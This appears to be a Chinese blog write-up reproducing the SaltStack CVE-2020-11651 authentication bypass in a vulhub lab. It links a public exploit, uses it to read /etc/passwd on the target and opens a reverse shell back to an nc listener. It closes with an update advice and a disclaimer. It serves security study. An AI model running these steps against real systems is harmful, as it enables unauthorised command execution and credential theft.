0x01简介

Saltstack是一个服务器基础架构集中化管理平台,具备配置管理、远程执行、监控等功能,可以理解为简化版的puppet,它基于python语言实现,结合轻量级消息队列(ZeroMQ)与python第三方模块构建。具备以下特点:
部署简单、方便
支持大部分UNIX/Linux及Windows环境
主从集中化管理
配置简单、功能强大、扩展性强
主控端和被控制端基于证书认证,安全可靠
支持API及自定义模块,可通过python轻松扩展
SaltStack认证绕过复现(CVE-2020-11651)_第1张图片

0x02漏洞简介

在 CVE-2020-11651 认证绕过漏洞中,攻机者通过构造恶意请求,可以绕过 Salt Master 的验证逻辑,调用相关未授权函数功能,从而可以造成远程命令执行漏洞:
漏洞由ClearFuncs类引起,该类无意中暴露了_send_pub()和_prep_auth_info()方法。未经身份验证的远程攻机者通过发送特制的请求可在minion端服务器上执行任意命令,还能够提取根密钥来调用master端服务器上的管理命令。

0x03影响版本

SaltStack < 2019.2.4
SaltStack < 3000.2

0x04环境搭建

在这里就直接使用vulhub进行搭建
1.下载地址:git clone https://github.com/vulhub/vulhub.git
2.cd /vulhub/saltstack/CVE-2020-11651/
进去文件夹后,执行如下命令启动一个SaltStack Master服务:
docker-compose up -d
SaltStack认证绕过复现(CVE-2020-11651)_第2张图片
使用docker ps查看环境是否启动
SaltStack认证绕过复现(CVE-2020-11651)

0x05漏洞复现

小受:192.168.10.147
小攻:192.168.10.240

1.下载POC:
git clone https://github.com/heikanet/CVE-2020-11651-CVE-2020-11652-EXP.git
执行poc需要安装salt库
pip3 install salt
SaltStack认证绕过复现(CVE-2020-11651)_第3张图片
2.使用poc读取文件python3 CVE-2020-11651.py,给上目标ip后读取文件/etc/passwd文件
SaltStack认证绕过复现(CVE-2020-11651)_第4张图片
3.在小攻执行nc监听nc -lvnp 4444,然后选择4反弹shell,输入ip和监听的端口
192.168.10.240
444
SaltStack认证绕过复现(CVE-2020-11651)_第5张图片

0x06修复建议

SaltStack官方已发布最新版本修复了上述漏洞,建议相关用户及时更新规避风险。

免责申明
本项目仅进行信息搜集,漏洞探测工作,无漏洞利用、***性行为,发文初衷为仅为方便安全人员对授权项目完成测试工作和学习交流使用。
请使用者遵守当地相关法律,勿用于非授权测试,勿用于非授权测试,勿用于非授权测试(重要的事情说三遍),如作他用所承受的法律责任一概与作者无关!!!